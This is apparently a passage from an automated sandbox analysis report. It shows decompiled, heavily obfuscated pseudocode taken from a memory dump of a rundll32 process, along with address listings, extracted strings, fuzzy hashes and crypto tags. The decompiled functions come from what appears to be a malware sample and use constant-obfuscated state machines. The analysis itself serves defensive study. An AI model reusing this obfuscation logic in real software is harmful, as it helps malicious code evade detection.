				signed int* _t464;

				_t464 =  &_v1724;
				_v1568 = 0x36ffb4;
				_t409 = 0;
				_v1564 = 0;
				_v1676 = 0x584fb8;
				_t411 = 0x1d;
				_v1676 = _v1676 * 0x1d;
				_t457 = 0x1b64447;
				_v1676 = _v1676 / _t411;
				_t412 = 0x6f;
				_v1676 = _v1676 / _t412;
				_v1676 = _v1676 ^ 0x0000cb85;
				_v1604 = 0xc1ae83;
				_t413 = 0x56;
				_v1604 = _v1604 / _t413;
				_v1604 = _v1604 ^ 0x000f18c4;
				_v1688 = 0x38431b;
				_t414 = 0x16;
				_v1688 = _v1688 / _t414;
				_v1688 = _v1688 | 0xdd383ab3;
				_v1688 = _v1688 + 0x4281;
				_v1688 = _v1688 ^ 0xdd35318f;
				_v1628 = 0x833ab2;
				_v1628 = _v1628 + 0x63e6;
				_v1628 = _v1628 << 8;
				_v1628 = _v1628 ^ 0x839980ec;
				_v1612 = 0xb556f1;
				_v1612 = _v1612 * 0x78;
				_v1612 = _v1612 ^ 0x5500bab3;
				_v1572 = 0xa45959;
				_v1572 = _v1572 >> 0xf;
				_v1572 = _v1572 ^ 0x000fd25f;
				_v1692 = 0xd16d41;
				_v1692 = _v1692 | 0x340f23c2;
				_v1692 = _v1692 ^ 0x9f498c44;
				_v1692 = _v1692 >> 6;
				_v1692 = _v1692 ^ 0x02ade8db;
				_v1592 = 0x14b990;
				_v1592 = _v1592 >> 7;
				_v1592 = _v1592 ^ 0x00054ad6;
				_v1720 = 0xd7e8d0;
				_v1720 = _v1720 >> 0xe;
				_v1720 = _v1720 ^ 0xefc0bd75;
				_v1720 = _v1720 >> 1;
				_v1720 = _v1720 ^ 0x77e2f4cc;
				_v1644 = 0xcdd95a;
				_v1644 = _v1644 + 0x4476;
				_v1644 = _v1644 + 0xffffb498;
				_v1644 = _v1644 ^ 0x00c0d23c;
				_v1704 = 0xe3fb79;
				_v1704 = _v1704 + 0xffff6dba;
				_v1704 = _v1704 << 0x10;
				_v1704 = _v1704 | 0xe4211d15;
				_v1704 = _v1704 ^ 0xed3b202c;
				_v1580 = 0x8ccfef;
				_v1580 = _v1580 + 0xffff27af;
				_v1580 = _v1580 ^ 0x0080bd98;
				_v1712 = 0x99380d;
				_v1712 = _v1712 * 0x73;
				_v1712 = _v1712 | 0xaaf867c5;
				_v1712 = _v1712 + 0xc9a5;
				_v1712 = _v1712 ^ 0xeef64655;
				_v1636 = 0x50e410;
				_v1636 = _v1636 + 0x1e20;
				_v1636 = _v1636 + 0xffff4182;
				_v1636 = _v1636 ^ 0x0056b2e1;
				_v1616 = 0xd2da90;
				_t415 = 0x60;
				_v1616 = _v1616 * 0x35;
				_v1616 = _v1616 ^ 0x2ba97592;
				_v1696 = 0xbc3c6b;
				_v1696 = _v1696 + 0xfffff6d9;
				_v1696 = _v1696 | 0xb783fbae;
				_v1696 = _v1696 ^ 0xb7bd5992;
				_v1708 = 0x771441;
				_v1708 = _v1708 | 0xf82377d1;
				_v1708 = _v1708 << 6;
				_v1708 = _v1708 / _t415;
				_v1708 = _v1708 ^ 0x00443fee;
				_v1588 = 0x65b21e;
				_v1588 = _v1588 | 0x7d4e0876;
				_v1588 = _v1588 ^ 0x7d68971d;
				_v1716 = 0x8e40c0;
				_v1716 = _v1716 << 0xb;
				_v1716 = _v1716 + 0xc0ab;
				_v1716 = _v1716 >> 8;
				_v1716 = _v1716 ^ 0x007a6d07;
				_v1648 = 0x7e5980;
				_v1648 = _v1648 + 0xc9ae;
				_v1648 = _v1648 >> 0xf;
				_v1648 = _v1648 ^ 0x000829ad;
				_v1656 = 0x8fd10;
				_v1656 = _v1656 + 0xfffff894;
				_v1656 = _v1656 + 0xffffdf7a;
				_v1656 = _v1656 ^ 0x000e8efb;
				_v1608 = 0xbb9d2c;
				_v1608 = _v1608 + 0xbd30;
				_v1608 = _v1608 ^ 0x00bdd480;
				_v1684 = 0x415fdf;
				_v1684 = _v1684 + 0xdc54;
				_v1684 = _v1684 + 0xffff96e0;
				_v1684 = _v1684 + 0x9fc;
				_v1684 = _v1684 ^ 0x0043ddfd;
				_v1652 = 0xdd7ba0;
				_t416 = 0x49;
				_v1652 = _v1652 / _t416;
				_t417 = 0x2a;
				_v1652 = _v1652 / _t417;
				_v1652 = _v1652 ^ 0x00058d13;
				_v1584 = 0x6ae312;
				_v1584 = _v1584 * 0x21;
				_v1584 = _v1584 ^ 0x0dc9c4b0;
				_v1620 = 0x23aa9f;
				_v1620 = _v1620 + 0xb48c;
				_v1620 = _v1620 ^ 0x002fca40;
				_v1700 = 0x132cac;
				_v1700 = _v1700 * 0x1f;
				_v1700 = _v1700 << 7;
				_v1700 = _v1700 | 0xca58c5cf;
				_v1700 = _v1700 ^ 0xeb72e8c5;
				_v1640 = 0x741ded;
				_v1640 = _v1640 << 9;
				_v1640 = _v1640 * 0x2c;
				_v1640 = _v1640 ^ 0xea4716ed;
				_v1576 = 0x109ef0;
				_v1576 = _v1576 + 0x16b8;
				_v1576 = _v1576 ^ 0x0011ebb3;
				_v1632 = 0x7cebdd;
				_v1632 = _v1632 ^ 0x038cae16;
				_v1632 = _v1632 | 0xb819cae3;
				_v1632 = _v1632 ^ 0xbbfb8962;
				_v1600 = 0x5bcfc;
				_v1600 = _v1600 >> 2;
				_v1600 = _v1600 ^ 0x000bee76;
				_v1660 = 0x21d579;
				_v1660 = _v1660 >> 5;
				_t418 = 0x4b;
				_v1660 = _v1660 / _t418;
				_v1660 = _v1660 ^ 0x0004c5f2;
				_v1724 = 0x8114ac;
				_v1724 = _v1724 >> 2;
				_v1724 = _v1724 ^ 0x9b842acc;
				_t419 = 0x15;
				_v1724 = _v1724 * 0x47;
				_v1724 = _v1724 ^ 0x2a960869;
				_v1668 = 0x55a452;
				_v1668 = _v1668 + 0xffff8381;
				_v1668 = _v1668 >> 2;
				_v1668 = _v1668 | 0x1d7ab292;
				_v1668 = _v1668 ^ 0x1d76c4c4;
				_v1664 = 0xcd9a39;
				_v1664 = _v1664 | 0xf6956366;
				_v1664 = _v1664 ^ 0xa704dcbd;
				_v1664 = _v1664 ^ 0x80b7ad6d;
				_v1664 = _v1664 ^ 0xd16ddcfa;
				_v1624 = 0x5e384e;
				_v1624 = _v1624 | 0x0279201c;
				_v1624 = _v1624 ^ 0x0272d0df;
				_v1672 = 0x7ea98a;
				_v1672 = _v1672 + 0xffff0289;
				_v1672 = _v1672 + 0x1222;
				_v1672 = _v1672 + 0xffff9ce5;
				_v1672 = _v1672 ^ 0x007460bd;
				_v1596 = 0x9a7c86;
				_t463 = _v1624;
				_v1596 = _v1596 / _t419;
				_v1596 = _v1596 ^ 0x0006072a;
				_v1680 = 0x2b5395;
				_v1680 = _v1680 * 0x7b;
				_v1680 = _v1680 << 3;
				_v1680 = _v1680 * 0x28;
				_v1680 = _v1680 ^ 0x057a2c11;
				while(_t457 != 0x1b64447) {
					if(_t457 == 0x7158915) {
						_push(_v1680);
						_push(_t463);
						_push(_t409);
						_push(_v1596);
						_push(_v1672);
						_push(_v1624);
						_push(_t409);
						_push(_t409);
						E029E06EF(_v1664, __eflags);
						_t409 = 1;
						__eflags = 1;
					} else {
						if(_t457 == 0xb45334e) {
							_push(E029C151C);
							_t395 = E029D0207(_v1644, E029E0AD3(_v1592, _v1720, __eflags), _v1704,  &_v1560, _v1580, _v1712); // executed
							asm("sbb edi, edi");
							_t420 = _v1636;
							_t457 = ( ~_t395 & 0xfdcb883a) + 0xf869d0e;
							E029D2EED(_t420, _v1616, _v1696, _t393);
							_t464 =  &(_t464[7]);
							goto L20;
						} else {
							if(_t457 == 0xc0db4d7) {
								_t397 = _t463;
								__eflags =  *_t463 - _t409;
								while(__eflags != 0) {
									__eflags =  *_t397 - 0x2c;
									if( *_t397 == 0x2c) {
										_t456 =  &_v1560;
										while(1) {
											_t397 =  &(_t397[1]);
											_t428 =  *_t397 & 0x0000ffff;
											__eflags = _t428;
											if(_t428 == 0) {
												break;
											}
											__eflags = _t428 - 0x20;
											if(_t428 != 0x20) {
												 *_t456 = _t428;
												_t456 =  &(_t456[0]);
												__eflags = _t456;
												continue;
											}
											break;
										}
										_t420 = 0;
										__eflags = 0;
										 *_t456 = 0;
									}
									_t397 =  &(_t397[1]);
									__eflags =  *_t397 - _t409;
								}
								_t457 = 0xb45334e;
								continue;
							} else {
								if(_t457 == 0xd522548) {
									_push(_t420);
									E029CE259(_v1708, _v1676, _v1588, _v1716, _t420, _t420,  &_v1040, _v1648, _v1656);
									E029C24AA(_v1708, _v1608, __eflags,  &_v520, _v1684, _v1652, _v1584);
									E029E06A6(__eflags,  &_v1040, _v1640, E029E0AD3(_v1620, _v1700, __eflags), _v1576, _v1632, _t463, _v1600);
									_t464 =  &(_t464[0x14]);
									E029D2EED(_v1660, _v1724, _v1668, _t402);
									_t420 = 0x29c14dc;
									_t457 = 0x7158915;
									continue;
								} else {
									if(_t457 != 0xff08286) {
										L20:
										__eflags = _t457 - 0xf869d0e;
										if(__eflags != 0) {
											continue;
										} else {
										}
									} else {
										_t463 = E029C6617();
										_t457 = 0xc0db4d7;
										continue;
									}
								}
							}
						}
					}
					return _t409;
				}
				_t420 = _v1604;
				E029C3965(_t420, _v1688,  &_v1560, _v1628, 0x208, _v1612);
				_t464 =  &(_t464[4]);
				_t457 = 0xff08286;
				goto L20;
			}

0x029ded95
0x029ded9b
0x029dedab
0x029dedad
0x029dedb4
0x029dedc4
0x029dedc7
0x029dedcb
0x029dedd8
0x029dede0
0x029dede5
0x029dedeb
0x029dedf3
0x029dee05
0x029dee0a
0x029dee13
0x029dee1e
0x029dee2a
0x029dee2d
0x029dee31
0x029dee39
0x029dee41
0x029dee49
0x029dee51
0x029dee59
0x029dee5e
0x029dee66
0x029dee79
0x029dee80
0x029dee8b
0x029dee96
0x029dee9e
0x029deea9
0x029deeb1
0x029deeb9
0x029deec1
0x029deec6
0x029deece
0x029deed9
0x029deee1
0x029deeec
0x029deef4
0x029deef9
0x029def01
0x029def05
0x029def0d
0x029def15
0x029def1d
0x029def25
0x029def2d
0x029def35
0x029def3d
0x029def42
0x029def4a
0x029def52
0x029def5d
0x029def68
0x029def73
0x029def80
0x029def84
0x029def8e
0x029def96
0x029def9e
0x029defa6
0x029defae
0x029defb6
0x029defbe
0x029defcd
0x029defd0
0x029defd7
0x029defe2
0x029defea
0x029deff2
0x029deffa
0x029df002
0x029df00a
0x029df012
0x029df01f
0x029df023
0x029df02b
0x029df036
0x029df041
0x029df04c
0x029df054
0x029df059
0x029df061
0x029df066
0x029df06e
0x029df076
0x029df07e
0x029df083
0x029df08b
0x029df093
0x029df09b
0x029df0a3
0x029df0ab
0x029df0b6
0x029df0c1
0x029df0cc
0x029df0d4
0x029df0dc
0x029df0e4
0x029df0ec
0x029df0f4
0x029df100
0x029df105
0x029df10f
0x029df112
0x029df116
0x029df11e
0x029df131
0x029df138
0x029df143
0x029df14b
0x029df153
0x029df15b
0x029df168
0x029df16c
0x029df171
0x029df179
0x029df181
0x029df189
0x029df193
0x029df197
0x029df19f
0x029df1ac
0x029df1b7
0x029df1c2
0x029df1ca
0x029df1d2
0x029df1da
0x029df1e2
0x029df1ed
0x029df1f5
0x029df200
0x029df208
0x029df213
0x029df218
0x029df21e
0x029df226
0x029df22e
0x029df233
0x029df240
0x029df241
0x029df245
0x029df24d
0x029df255
0x029df25d
0x029df262
0x029df26a
0x029df272
0x029df27a
0x029df282
0x029df28a
0x029df292
0x029df29a
0x029df2a2
0x029df2aa
0x029df2b2
0x029df2ba
0x029df2c2
0x029df2ca
0x029df2d2
0x029df2da
0x029df2ee
0x029df2f2
0x029df2f9
0x029df304
0x029df311
0x029df315
0x029df31f
0x029df323
0x029df32b
0x029df33d
0x029df52b
0x029df52f
0x029df530
0x029df531
0x029df538
0x029df53c
0x029df547
0x029df548
0x029df549
0x029df553
0x029df553
0x029df343
0x029df349
0x029df490
0x029df4b9
0x029df4ce
0x029df4d0
0x029df4dd
0x029df4e3
0x029df4e8
0x00000000
0x029df34f
0x029df355
0x029df440
0x029df442
0x029df446
0x029df448
0x029df44c
0x029df44e
0x029df463
0x029df463
0x029df466
0x029df469
0x029df46c
0x00000000
0x00000000
0x029df457
0x029df45b
0x029df45d
0x029df460
0x029df460
0x00000000
0x029df460
0x00000000
0x029df45b
0x029df46e
0x029df46e
0x029df470
0x029df470
0x029df473
0x029df476
0x029df476
0x029df47b
0x00000000
0x029df35b
0x029df361
0x029df388
0x029df3ae
0x029df3d1
0x029df41a
0x029df41f
0x029df42f
0x029df435
0x029df436
0x00000000
0x029df363
0x029df369
0x029df51d
0x029df51d
0x029df523
0x00000000
0x00000000
0x029df529
0x029df36f
0x029df37f
0x029df381
0x00000000
0x029df381
0x029df369
0x029df361
0x029df355
0x029df349
0x029df560
0x029df560
0x029df508
0x029df510
0x029df515
0x029df518
0x00000000

Strings

vD, xrefs: 029DEF15
, ;, xrefs: 029DEF4A
?D, xrefs: 029DF023
N8^, xrefs: 029DF29A
?D, xrefs: 029DF017
H%R, xrefs: 029DF35B
c, xrefs: 029DEE51

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: , ;$H%R$N8^$vD$?D$?D$c
API String ID: 0-926347615
Opcode ID: 16eb9aa1e8468f314b585e317595eb1c8e28abaff8e53c5e5a19609018a91ba7
Instruction ID: 40e6494d9113708a77dd0f7943c568ae6cfab1098cb4bf103e1a86a07e87a74e
Opcode Fuzzy Hash: 16eb9aa1e8468f314b585e317595eb1c8e28abaff8e53c5e5a19609018a91ba7
Instruction Fuzzy Hash: 011211B25093809FD768CF25C58AA4BBBF2FBC0758F10891DE1DA86260D7B58948CF53

Uniqueness

Uniqueness Score: -1.00%

Function 029C8112, Relevance: 9.0, Strings: 7, Instructions: 279
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E029C8112() {
				signed int _v4;
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				unsigned int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				void* _t309;
				void* _t316;
				void* _t321;
				intOrPtr _t324;
				intOrPtr _t327;
				void* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t332;
				signed int _t339;
				void* _t356;
				intOrPtr _t359;
				void* _t360;
				signed int* _t364;

				_t364 =  &_v152;
				_v16 = 0x5dc11c;
				_v12 = 0x7fb4c5;
				_t328 = 0;
				_v8 = _v8 & 0;
				_v4 = _v4 & 0;
				_v96 = 0x5491c5;
				_v96 = _v96 + 0xffff56c6;
				_v96 = _v96 + 0xffff2f6f;
				_v96 = _v96 ^ 0x005317fa;
				_v152 = 0x8e9ef5;
				_v152 = _v152 * 0x51;
				_t360 = 0xd44424e;
				_v152 = _v152 + 0xa790;
				_v152 = _v152 >> 0xa;
				_v152 = _v152 ^ 0x000b483c;
				_v68 = 0x72c428;
				_v68 = _v68 + 0xffff76d4;
				_t330 = 0x4a;
				_v68 = _v68 / _t330;
				_v68 = _v68 ^ 0x00018b2c;
				_v108 = 0xbf9bbd;
				_v108 = _v108 ^ 0x339580ad;
				_v108 = _v108 ^ 0xb4fd00a2;
				_v108 = _v108 ^ 0x87d71bb2;
				_v40 = 0x92c9b3;
				_v40 = _v40 >> 6;
				_v40 = _v40 ^ 0x00024b26;
				_v60 = 0xa1f01c;
				_v60 = _v60 >> 8;
				_v60 = _v60 ^ 0x00017e81;
				_v104 = 0x64c1e9;
				_v104 = _v104 * 0x43;
				_v104 = _v104 ^ 0xbff4ef2f;
				_v104 = _v104 ^ 0xa5aa5c00;
				_v52 = 0xd4a17d;
				_v52 = _v52 >> 0xf;
				_v52 = _v52 ^ 0x0004c33a;
				_v100 = 0x79e5ad;
				_v100 = _v100 + 0xa8e0;
				_v100 = _v100 + 0xd7dd;
				_v100 = _v100 ^ 0x007ae753;
				_v24 = 0x3b9730;
				_v24 = _v24 + 0xffff04dc;
				_v24 = _v24 ^ 0x003c1a0a;
				_v116 = 0xebf3d1;
				_v116 = _v116 | 0xa470fdcf;
				_v116 = _v116 ^ 0x74c1282c;
				_v116 = _v116 >> 3;
				_v116 = _v116 ^ 0x1a08f8f9;
				_v132 = 0x4ae92d;
				_v132 = _v132 ^ 0x1312316a;
				_v132 = _v132 << 0x10;
				_v132 = _v132 + 0xffffcfd5;
				_v132 = _v132 ^ 0xd84eed71;
				_v124 = 0x95d490;
				_v124 = _v124 + 0x88a4;
				_v124 = _v124 + 0xb0e0;
				_v124 = _v124 >> 2;
				_v124 = _v124 ^ 0x00299152;
				_v44 = 0xb273bc;
				_v44 = _v44 | 0x1e3d9bd9;
				_v44 = _v44 ^ 0x1eb01182;
				_v140 = 0x2e6656;
				_v140 = _v140 >> 0xd;
				_v140 = _v140 + 0xffff0eee;
				_v140 = _v140 | 0xa1181487;
				_v140 = _v140 ^ 0xfffb33ad;
				_v28 = 0x4d8c50;
				_v28 = _v28 * 0xa;
				_v28 = _v28 ^ 0x0301dfcb;
				_v80 = 0xf92d4c;
				_t331 = 0x55;
				_v80 = _v80 * 0x72;
				_v80 = _v80 << 6;
				_v80 = _v80 ^ 0xbd84355e;
				_v88 = 0xb62b9;
				_v88 = _v88 | 0x0711dddd;
				_v88 = _v88 + 0xffffb9ad;
				_v88 = _v88 ^ 0x07170adc;
				_v84 = 0xb8eaf1;
				_v84 = _v84 ^ 0x54a0a05b;
				_v84 = _v84 | 0x2c7cd408;
				_v84 = _v84 ^ 0x7c7ec05d;
				_v76 = 0xfcc78d;
				_v76 = _v76 ^ 0xfaf164c7;
				_v76 = _v76 >> 3;
				_v76 = _v76 ^ 0x1f407767;
				_v148 = 0x52c534;
				_v148 = _v148 ^ 0x9312ff4d;
				_v148 = _v148 + 0xffff4af6;
				_v148 = _v148 << 3;
				_v148 = _v148 ^ 0x99fba233;
				_v92 = 0x14adf;
				_v92 = _v92 | 0x95aaf966;
				_v92 = _v92 ^ 0x2b4a1f7a;
				_v92 = _v92 ^ 0xbee45b56;
				_v32 = 0x764abc;
				_v32 = _v32 ^ 0xe78f7666;
				_v32 = _v32 ^ 0xe7f18097;
				_v112 = 0xd6e113;
				_v112 = _v112 + 0x1ea2;
				_v112 = _v112 / _t331;
				_v112 = _v112 >> 0xe;
				_v112 = _v112 ^ 0x0004bfbc;
				_v120 = 0x80bdf3;
				_t332 = 0xa;
				_v120 = _v120 / _t332;
				_v120 = _v120 + 0xffff255d;
				_v120 = _v120 | 0xbc80fafb;
				_v120 = _v120 ^ 0xbc86a6dd;
				_v72 = 0xbefe89;
				_v72 = _v72 + 0xffffc350;
				_v72 = _v72 << 6;
				_v72 = _v72 ^ 0x2fbee236;
				_v136 = 0xafaab4;
				_v136 = _v136 * 0x15;
				_v136 = _v136 >> 6;
				_v136 = _v136 + 0xb27b;
				_v136 = _v136 ^ 0x003aa308;
				_v36 = 0x1a2118;
				_v36 = _v36 | 0x88c36a30;
				_v36 = _v36 ^ 0x88d582e2;
				_v144 = 0xa3f39;
				_v144 = _v144 | 0xe60b198f;
				_v144 = _v144 + 0xffffe6c2;
				_v144 = _v144 << 4;
				_v144 = _v144 ^ 0x60bd9dae;
				_v48 = 0x8bd4bb;
				_v48 = _v48 + 0xffff4967;
				_v48 = _v48 ^ 0x00804b4a;
				_v128 = 0xd6f6e2;
				_v128 = _v128 + 0xffff8b2a;
				_v128 = _v128 + 0x73db;
				_v128 = _v128 ^ 0x77cb5959;
				_v128 = _v128 ^ 0x771d3ce6;
				_v56 = 0xa97c43;
				_v56 = _v56 ^ 0x0ddf0829;
				_v56 = _v56 ^ 0x0d7f1210;
				_v64 = 0x5ee950;
				_v64 = _v64 + 0xffffecfd;
				_v64 = _v64 >> 0xb;
				_v64 = _v64 ^ 0x000f52e8;
				while(1) {
					L1:
					_t309 = 0xa781f72;
					do {
						L2:
						if(_t360 == 0x41998ad) {
							E029CF699(_v72,  *((intOrPtr*)( *0x29e5bd4 + 0x14)), _v136, _v36, _v144);
							E029CF699(_v48,  *0x29e5bd4, _v128, _v56, _v64);
							_t364 =  &(_t364[6]);
							_t360 = 0xcc3da0e;
							L13:
							_t309 = 0xa781f72;
							goto L14;
						}
						if(_t360 == 0x516f09d) {
							_t296 =  &_v112; // 0x7ae753
							E029C2CF9(_v32,  *_t296, _v40, _v120, _v20);
							L17:
							return _t328;
						}
						if(_t360 == 0x7dea44d) {
							_push(0x29c1764);
							_t316 = E029C92DD(E029E0AD3(_v24, _v116, __eflags), _v96, _v132,  &_v20, 0, _v124, _v44, _v140); // executed
							__eflags = _t316 - _v152;
							_t360 =  ==  ? 0xa781f72 : 0x41998ad;
							_t339 = _v28;
							E029D2EED(_t339, _v80, _v88, _t314);
							_t364 =  &(_t364[9]);
							goto L13;
						}
						if(_t360 == _t309) {
							_t339 = _v20;
							_t321 = E029D1270(_t339, _v84, _v76,  *((intOrPtr*)( *0x29e5bd4 + 0x18)), _v148,  *((intOrPtr*)( *0x29e5bd4 + 0x14)), _v92, _v68);
							_t364 =  &(_t364[6]);
							__eflags = _t321 - _v108;
							if(__eflags != 0) {
								_t360 = 0x41998ad;
							} else {
								_t360 = 0x516f09d;
								_t328 = 1;
							}
							while(1) {
								L1:
								_t309 = 0xa781f72;
								goto L2;
							}
						}
						if(_t360 != 0xd44424e) {
							goto L14;
						}
						_push(_t339);
						_t356 = 0x48;
						_t324 = E029D6F53(_t356);
						 *0x29e5bd4 = _t324;
						 *((intOrPtr*)(_t324 + 0x18)) = 0x4000;
						_t327 = E029D6F53( *((intOrPtr*)( *0x29e5bd4 + 0x18)));
						_t359 =  *0x29e5bd4;
						_t360 = 0x7dea44d;
						_t339 =  *((intOrPtr*)(_t359 + 0x18)) + _t327;
						 *((intOrPtr*)(_t359 + 0x14)) = _t327;
						 *((intOrPtr*)(_t359 + 0x3c)) = _t327;
						 *((intOrPtr*)(_t359 + 0x20)) = _t327;
						 *(_t359 + 0xc) = _t339;
						goto L1;
						L14:
						__eflags = _t360 - 0xcc3da0e;
					} while (__eflags != 0);
					goto L17;
				}
			}

0x029c8112
0x029c8118
0x029c8125
0x029c8131
0x029c8133
0x029c813a
0x029c8141
0x029c8149
0x029c8151
0x029c8159
0x029c8161
0x029c8173
0x029c8177
0x029c817c
0x029c8184
0x029c8189
0x029c8191
0x029c8199
0x029c81a5
0x029c81a8
0x029c81ac
0x029c81b4
0x029c81bc
0x029c81c4
0x029c81cc
0x029c81d4
0x029c81df
0x029c81e7
0x029c81f2
0x029c81fa
0x029c81ff
0x029c8207
0x029c8214
0x029c8218
0x029c8220
0x029c8228
0x029c8230
0x029c8235
0x029c823d
0x029c8245
0x029c824d
0x029c8255
0x029c825d
0x029c8268
0x029c8273
0x029c827e
0x029c8286
0x029c828e
0x029c8296
0x029c829b
0x029c82a3
0x029c82ab
0x029c82b3
0x029c82b8
0x029c82c0
0x029c82c8
0x029c82d0
0x029c82d8
0x029c82e0
0x029c82e5
0x029c82ed
0x029c82f5
0x029c82fd
0x029c8305
0x029c830d
0x029c8312
0x029c831a
0x029c8322
0x029c832a
0x029c833d
0x029c8344
0x029c834f
0x029c8360
0x029c8363
0x029c8367
0x029c836c
0x029c8374
0x029c837c
0x029c8384
0x029c838c
0x029c8394
0x029c839c
0x029c83a4
0x029c83ac
0x029c83b4
0x029c83bc
0x029c83c4
0x029c83c9
0x029c83d1
0x029c83d9
0x029c83e1
0x029c83e9
0x029c83ee
0x029c83f6
0x029c83fe
0x029c8406
0x029c840e
0x029c8416
0x029c8421
0x029c842c
0x029c8437
0x029c843f
0x029c844f
0x029c8453
0x029c8458
0x029c8460
0x029c846c
0x029c846f
0x029c8473
0x029c847b
0x029c8483
0x029c848b
0x029c8493
0x029c849b
0x029c84a0
0x029c84a8
0x029c84b5
0x029c84b9
0x029c84be
0x029c84c6
0x029c84ce
0x029c84d9
0x029c84e4
0x029c84ef
0x029c84f7
0x029c84ff
0x029c8507
0x029c850c
0x029c8514
0x029c851c
0x029c8524
0x029c852c
0x029c8534
0x029c853c
0x029c8544
0x029c854c
0x029c8554
0x029c855c
0x029c8564
0x029c856c
0x029c8574
0x029c857c
0x029c8581
0x029c858e
0x029c858e
0x029c858e
0x029c8593
0x029c8593
0x029c8595
0x029c86ea
0x029c870b
0x029c8710
0x029c8713
0x029c8718
0x029c8718
0x00000000
0x029c8718
0x029c85a1
0x029c873d
0x029c8748
0x029c8753
0x029c875c
0x029c875c
0x029c85ad
0x029c8670
0x029c869f
0x029c86aa
0x029c86ba
0x029c86bd
0x029c86c4
0x029c86c9
0x00000000
0x029c86c9
0x029c85b5
0x029c863c
0x029c8643
0x029c8648
0x029c864b
0x029c864f
0x029c865e
0x029c8651
0x029c8653
0x029c8658
0x029c8658
0x029c858e
0x029c858e
0x029c858e
0x00000000
0x029c858e
0x029c858e
0x029c85bd
0x00000000
0x00000000
0x029c85cb
0x029c85ce
0x029c85cf
0x029c85d4
0x029c85d9
0x029c85f1
0x029c85f6
0x029c85fc
0x029c8605
0x029c8607
0x029c860a
0x029c860d
0x029c8610
0x00000000
0x029c871d
0x029c871d
0x029c871d
0x00000000
0x029c8729

Strings

Sz, xrefs: 029C873D
P^, xrefs: 029C856C
-J, xrefs: 029C82A3
9?, xrefs: 029C84EF
NBD, xrefs: 029C85B7
Vf., xrefs: 029C8305
NBD, xrefs: 029C8177

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: -J$9?$NBD$NBD$P^$Sz$Vf.
API String ID: 0-1644255200
Opcode ID: 0b378f501972c75a4c494ce83e35db500e22fa7002bf711bf3c6af3a562ba217
Instruction ID: a55f60fe3703c5e4bdd21eba6fc48fb6f18403b269d2ebd050b60deda5fd9f02
Opcode Fuzzy Hash: 0b378f501972c75a4c494ce83e35db500e22fa7002bf711bf3c6af3a562ba217
Instruction Fuzzy Hash: 28E110B25083819FD3A8CF25D58964BBBF1FBC4748F508A1CF59986260D7B48949CF87

Uniqueness

Uniqueness Score: -1.00%

Function 029D604E, Relevance: 9.0, Strings: 7, Instructions: 201
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E029D604E(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				short _v108;
				char* _v112;
				char* _v116;
				signed int _v120;
				char _v124;
				char _v644;
				char _v1164;
				void* _t221;
				signed int _t258;
				signed int _t262;
				signed int _t263;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				void* _t294;

				_push(_a12);
				_t294 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t221);
				_v68 = 0x474568;
				_v68 = _v68 << 0x10;
				_v68 = _v68 ^ 0x45680001;
				_v72 = 0x1fd105;
				_t262 = 0x64;
				_v72 = _v72 / _t262;
				_v72 = _v72 ^ 0x00005767;
				_v36 = 0x73866;
				_v36 = _v36 + 0x28fb;
				_v36 = _v36 ^ 0x8b6ccc06;
				_v36 = _v36 + 0xaac8;
				_v36 = _v36 ^ 0x8b6c502f;
				_v40 = 0x4d98b5;
				_v40 = _v40 + 0xffffb7dc;
				_v40 = _v40 << 2;
				_v40 = _v40 + 0xffff2e34;
				_v40 = _v40 ^ 0x0131ee55;
				_v48 = 0x2c2527;
				_v48 = _v48 >> 0xc;
				_t263 = 0x4d;
				_v48 = _v48 / _t263;
				_v48 = _v48 ^ 0x000b9df5;
				_v56 = 0xcca1e4;
				_v56 = _v56 + 0xffff04fb;
				_v56 = _v56 >> 2;
				_v56 = _v56 ^ 0x003e6d66;
				_v52 = 0x7c2c39;
				_t264 = 0x39;
				_v52 = _v52 * 0x5b;
				_v52 = _v52 + 0x6a24;
				_v52 = _v52 ^ 0x2c2a50b8;
				_v32 = 0xb101ad;
				_v32 = _v32 + 0x6814;
				_v32 = _v32 | 0x8e84c1d7;
				_v32 = _v32 << 0xe;
				_v32 = _v32 ^ 0x7a79d119;
				_v92 = 0xede714;
				_v92 = _v92 * 0x1a;
				_v92 = _v92 ^ 0x1828e183;
				_v16 = 0xf7f2a5;
				_v16 = _v16 * 0x39;
				_v16 = _v16 >> 0xf;
				_v16 = _v16 / _t264;
				_v16 = _v16 ^ 0x000c6752;
				_v88 = 0x2d2236;
				_v88 = _v88 * 0x54;
				_v88 = _v88 ^ 0x0ec13d56;
				_v76 = 0xd4d7e0;
				_v76 = _v76 >> 0x10;
				_v76 = _v76 ^ 0x000bd9b8;
